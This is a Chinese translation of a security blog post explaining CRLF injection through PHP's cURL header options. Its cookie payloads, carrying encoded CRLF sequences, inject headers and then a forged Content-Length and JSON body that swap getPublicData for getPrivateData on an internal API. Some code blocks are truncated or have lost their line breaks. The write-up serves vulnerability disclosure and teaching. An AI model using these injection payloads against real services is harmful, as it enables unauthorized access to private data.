热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

curlpostjson_将CRLF注入PHP的cURL选项

翻译文章,原文:CRLFInjectionIntoPHP’scURLOptions[1]​图1这是一篇有关将回车符和换行符注入内部API调用的文章。我一年前在Gist

   翻译文章,原文:CRLF Injection Into PHP’s cURL Options[1]

915e754cfb87e3254560fa0c9c10b358.png

图1

这是一篇有关将回车符和换行符注入内部API调用的文章。我一年前在Gist on GitHub[2]上写这篇文章,但它并不是真正的博客文章最佳平台,不是吗?我在此处添加了更多详细信息,因此不仅仅是直接复制和粘贴。

我喜欢在可能的时候做白盒测试。我并不是一个出色的黑盒测试者,但是我花了十多年的时间读写PHP程序,在此过程中我犯了很多错误,所以我知道要寻找什么。

预览代码,碰到了类似如下功能:

我正看的这个系统中有个一个'Trial Group'的概念。每个用户会话都有一组与之关联的组,并以逗号分隔的列表形式存储在COOKIE中。这个想法是,当启动新功能时,可以首先让一小部分客户启用它们,以降低功能发布的风险,或者允许比较功能上的不同变体(一种称为A/B测试[3]的方法)。 getTrialGroups()函数仅读取COOKIE值,分割列表(上面的逗号分隔的数据), 然后返回给用户一个试用功能的数组。

此功能中缺少白名单功能立即引起了我的注意。我对其余的代码库进行查找,以找到调用该函数的位置,这样我就可以查看其返回值是否存在任何不安全的用法。

"getPublicData", "params" => []]));​// Return the response to the userecho curl_exec($ch);​curl_close($ch);

这段代码使用cURL库在内部JSON API上调用了getPublicData方法。该API需要了解用户的试用组(上面提到的试用功能列表),以便可以相应地更改其行为,因此这些试用组将通过X-Trial-Groups(自定义的Http Header)头传递给API。

这里的问题是,在设置CURLOPT_HTTPHEADER时,不检查回车符或换行符。由于getTrialGroups()函数返回用户可控制的数据,因此可以向API请求中插入任意标头。


示例

为了使操作更容易理解,我将使用PHP的内置网络服务器在本地运行server.php:

tom@slim:~/tmp/crlf▶ php -S localhost:1234 server.phpPHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018Listening on http://localhost:1234Document root is /home/tom/tmp/crlfPress Ctrl-C to quit.

使用cURL命令行程序,我们可以发送一个示例,其中包括一个trialGroups COOKIE:

tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2'

返回值:

{ "args": {}, "data": "{"method":"getPublicData","params":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

我使用的是http://httpbin.org/post,而不是内部API,它返回一个JSON文档,该文档描述了已发送的`POST`请求,包括请求中的所有`POST`数据和标头。

关于响应的重要注意事项是,发送到httpbin.org的X-Trial-Groups标头包含在trialGroups COOKIE中的A1,B2字符串。让我们尝试一些有CRLF(回车换行)注入的数据:

tom@slim:~▶ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'

返回值:

{ "args": {}, "data": "{"method":"getPublicData","params":[]}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "38", "Content-Type": "application/json", "Host": "httpbin.org", "X-Injected": "true", "X-Trial-Groups": "A1,B2" }, "json": { "method": "getPublicData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

PHP会自动将COOKIE值中的URL编码序列(例如%0d,%0a)解码,因此我们可以在发送的COOKIE值中使用URL编码的回车符(%0d)和换行符(%0a)。HTTP标头由CRLF序列分隔,因此,当PHP cURL库写入请求标头时,X-Injected:有效载荷的真实部分被视为独立标头。


HTTP请求

通过将标头注入请求中,您真正能做什么?说实话,这个例子中能做的不是很多。如果我们对HTTP请求的结构进行更深入的研究,您会发现我们不仅可以注入标头,还可以做更多的事情;我们也可以注入POST数据!

要了解漏洞利用的工作方式,您需要对HTTP请求有所了解。您可以执行的最基本的HTTP POST请求如下所示:

POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7thedata

我们逐行分析.

POST /post HTTP/1.1

第一行说,使用HTTP版本1.1,使用POST方法将请求发送到/post端点

Host: httpbin.org

此标头告诉远程服务器,我们正在httpbin.org上请求一个页面。这似乎是多余的,但是当您连接到HTTP服务器时,您是在连接服务器的IP地址,而不是域名。如果您的请求中未包含Host标头,则服务器将无法知道您在浏览器的地址栏中键入的域名。

Connection: close

此标头要求服务器在完成发送响应后关闭基础TCP连接。如果没有此标头,则发送响应后,连接可能保持打开状态。

Content-Length: 7

Content-Length标头告诉服务器在请求正文中将发送多少字节的数据。这一点很重要.

这里没有错误;空行只包含CRLF序列。它告诉服务器我们已经完成了发送头,并且请求正文即将发送。(每个Http请求的数据和请求头都需要一个空行来分割,这个是Http协议中规定的内容)。

thedata

最后,我们发送请求正文(又称为POST数据)。它的长度(以字节为单位)必须与我们之前发送的Content-Length标头匹配,因为我们告诉服务器它将必须读取那么多字节。

让我们通过将echo命令传递到netcat来将此请求发送到httpbin.org:

tom@slim:~▶ echo -e "POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7hedata" | nc httpbin.org 80HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:16:34 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur

返回值:

{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

一切正常。我们得到一些响应头,一个CRLF序列,然后是响应主体。

因此,诀窍出在这里:如果发送的POST数据比Content-Length标头中所说明的要多,该怎么办?试试看:

tom@slim:~▶ echo -e "POST /post HTTP/1.1Host: httpbin.orgConnection: closeContent-Length: 7hedata some more data" | nc httpbin.org 80HTTP/1.1 200 OKConnection: closeServer: gunicorn/19.9.0Date: Sun, 29 Jul 2018 14:20:10 GMTContent-Type: application/jsonContent-Length: 257Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueVia: 1.1 vegur

返回值:

{ "args": {}, "data": "thedata", "files": {}, "form": {}, "headers": { "Connection": "close", "Content-Length": "7", "Host": "httpbin.org" }, "json": null, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

我们保持Content-Length标头不变,并说我们将发送7个字节,并向请求正文中添加了更多数据,但服务器仅读取了前7个字节。这就是我们可以用来实际利用漏洞的技巧。


利用程序

事实证明,当您设置CURLOPT_HTTPHEADER选项时,不仅可以使用单个CRLF序列注入http请求头,还可以使用双CRLF序列注入POST数据。我们实验如下:

•1.在我们自己的JSON POST数据后,该数据调用getPublicData之外的其他方法;假设getPrivateData

•2.获取该数据的长度(以字节为单位)

•3.使用单个CRLF序列,注入Content-Length标头,指示服务器仅读取该字节数

•4.注入两个CRLF序列,然后注入我们的恶意JSON作为POST数据

如果一切顺利,内部API应该完全忽略合法的JSON POST数据,以支持我们的恶意JSON。

为了使事情变得容易,我倾向于编写一些小的脚本来生成这类有效payload。它减少了我犯错的机会,使我的大脑陷入困境,试图弄清为什么它不起作用。这是我写的:

tom@slim:~▶ cat genCOOKIE.php

尝试:

tom@slim:~▶ curl -s localhost:1234 -b $(php genCOOKIE.php)

返回值:

{ "args": {}, "data": "{"method": "getPrivateData", "params": []}", "files": {}, "form": {}, "headers": { "Accept": "*/*", "Connection": "close", "Content-Length": "42", "Content-Type": "application/json", "Host": "httpbin.org", "X-Trial-Groups": "ignore" }, "json": { "method": "getPrivateData", "params": [] }, "origin": "X.X.X.X", "url": "http://httpbin.org/post"}

成功!我们将x-Trial-Groups标头设置为ignore,注入Content-Length标头和我们自己的POST数据。合法的POST数据仍然被发送,但是服务器完全忽略了它。

这是您不太可能在黑盒测试时发现的错误,但我认为仍然值得一提,因为这些天使用的开源代码太多了,对编写代码的人有很好的启发。


其他攻击

自发现此错误以来,我一直努力注意类似情况。在我的研究中,我发现CURLOPT_HTTPHEADER并不是唯一容易受到相同攻击的cURL选项。以下选项(可能还有其他选项)在请求中隐式设置标头,并且容易受到攻击:

• CURLOPT_HEADER•CURLOPT_COOKIE•CURLOPT_RANGE•CURLOPT_REFERER•CURLOPT_USERAGENT•CURLOPT_PROXYHEADER

References

[1] CRLF Injection Into PHP’s cURL Options: https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545

[2] Gist on GitHub: https://gist.github.com/tomnomnom/6727d7d3fabf5a4ab20703121a9090da

[3] A/B测试: https://en.wikipedia.org/wiki/A/B_testing



推荐阅读
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • GetWindowLong函数
    今天在看一个代码里头写了GetWindowLong(hwnd,0),我当时就有点费解,靠,上网搜索函数原型说明,死活找不到第 ... [详细]
  • SpringBoot uri统一权限管理的实现方法及步骤详解
    本文详细介绍了SpringBoot中实现uri统一权限管理的方法,包括表结构定义、自动统计URI并自动删除脏数据、程序启动加载等步骤。通过该方法可以提高系统的安全性,实现对系统任意接口的权限拦截验证。 ... [详细]
  • Commit1ced2a7433ea8937a1b260ea65d708f32ca7c95eintroduceda+Clonetraitboundtom ... [详细]
  • 本文介绍了Redis的基础数据结构string的应用场景,并以面试的形式进行问答讲解,帮助读者更好地理解和应用Redis。同时,描述了一位面试者的心理状态和面试官的行为。 ... [详细]
  • 有没有一种方法可以在不继承UIAlertController的子类或不涉及UIAlertActions的情况下 ... [详细]
  • 本文介绍了闭包的定义和运转机制,重点解释了闭包如何能够接触外部函数的作用域中的变量。通过词法作用域的查找规则,闭包可以访问外部函数的作用域。同时还提到了闭包的作用和影响。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 展开全部下面的代码是创建一个立方体Thisexamplescreatesanddisplaysasimplebox.#Thefirstlineloadstheinit_disp ... [详细]
  • 不同优化算法的比较分析及实验验证
    本文介绍了神经网络优化中常用的优化方法,包括学习率调整和梯度估计修正,并通过实验验证了不同优化算法的效果。实验结果表明,Adam算法在综合考虑学习率调整和梯度估计修正方面表现较好。该研究对于优化神经网络的训练过程具有指导意义。 ... [详细]
  • 本文探讨了C语言中指针的应用与价值,指针在C语言中具有灵活性和可变性,通过指针可以操作系统内存和控制外部I/O端口。文章介绍了指针变量和指针的指向变量的含义和用法,以及判断变量数据类型和指向变量或成员变量的类型的方法。还讨论了指针访问数组元素和下标法数组元素的等价关系,以及指针作为函数参数可以改变主调函数变量的值的特点。此外,文章还提到了指针在动态存储分配、链表创建和相关操作中的应用,以及类成员指针与外部变量的区分方法。通过本文的阐述,读者可以更好地理解和应用C语言中的指针。 ... [详细]
  • 本文详细介绍了Spring的JdbcTemplate的使用方法,包括执行存储过程、存储函数的call()方法,执行任何SQL语句的execute()方法,单个更新和批量更新的update()和batchUpdate()方法,以及单查和列表查询的query()和queryForXXX()方法。提供了经过测试的API供使用。 ... [详细]
  • 本文介绍了UVALive6575题目Odd and Even Zeroes的解法,使用了数位dp和找规律的方法。阶乘的定义和性质被介绍,并给出了一些例子。其中,部分阶乘的尾零个数为奇数,部分为偶数。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 本文介绍了在使用Python中的aiohttp模块模拟服务器时出现的连接失败问题,并提供了相应的解决方法。文章中详细说明了出错的代码以及相关的软件版本和环境信息,同时也提到了相关的警告信息和函数的替代方案。通过阅读本文,读者可以了解到如何解决Python连接服务器失败的问题,并对aiohttp模块有更深入的了解。 ... [详细]
author-avatar
年庚瑶
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有